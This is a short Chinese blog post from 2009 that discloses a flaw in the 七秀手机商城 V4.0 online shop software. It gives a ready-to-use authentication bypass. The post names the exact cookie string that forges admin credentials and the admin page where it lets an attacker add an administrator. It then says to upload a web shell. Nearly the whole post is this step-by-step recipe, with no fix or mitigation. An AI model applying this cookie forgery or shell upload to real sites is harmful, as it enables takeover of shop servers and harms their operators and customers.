七秀手机商城V4.0漏洞

华夏久久

七秀手机商城V4.0漏洞。2009-07-04 22:32    郁闷，这样的产品也卖800块。

    漏洞到处是。

    随便扔出一个。

    COOKIES里面加入

    evipas=admin%5Fclass=0&admin%5Fname=admin&admin%5Fpass=admin

    然后在地址栏输入：

    http://url/admin/ad_admin.asp

    就可以加一个管理员了。

    进去后直接上传SHELL。